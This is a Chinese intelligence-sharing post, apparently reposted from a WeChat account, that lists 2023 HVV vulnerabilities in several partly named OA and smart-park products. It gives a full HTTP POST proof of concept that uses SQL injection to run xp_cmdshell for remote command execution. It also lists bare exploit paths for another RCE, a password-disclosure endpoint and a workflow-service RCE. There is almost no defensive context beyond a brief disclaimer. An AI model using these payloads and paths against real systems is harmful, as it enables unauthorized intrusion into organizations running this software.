本文章仅做为情报共享,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,极致攻防实验室及文章作者不为此承担任何责任。
某和-OA-SQL注入导致RCE(已复现)
漏洞路径:
/C6/Control/GetSqlData.aspx/.ashx
POC:
POST
/C6/Control/GetSqlData.aspx/.ashx
HTTP/1.1
Host
:
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept
: */*
Content-Type
: text/plain
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Cookie
: ASP.NET_SessionId=0jou1dhd0qdrxutyufitpbre; myie=false
Connection
: close
Content-Length
: 35
exec
master..xp_cmdshell
'ipconfig'
某远-OA-前台RCE
漏洞路径:
/seeyon/constDef.
do
某华-智慧园区-密码读取(已复现)
漏洞路径:
/admin/user_getUserInfoByUserName.action?userName=
system
某天-OA-远程代码执行(已复现)
漏洞路径:
/OAapp/bfapp/buffalo/workFlowService
原文始发于微信公众号(极致攻防实验室):2023HVV情报共享-day3
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论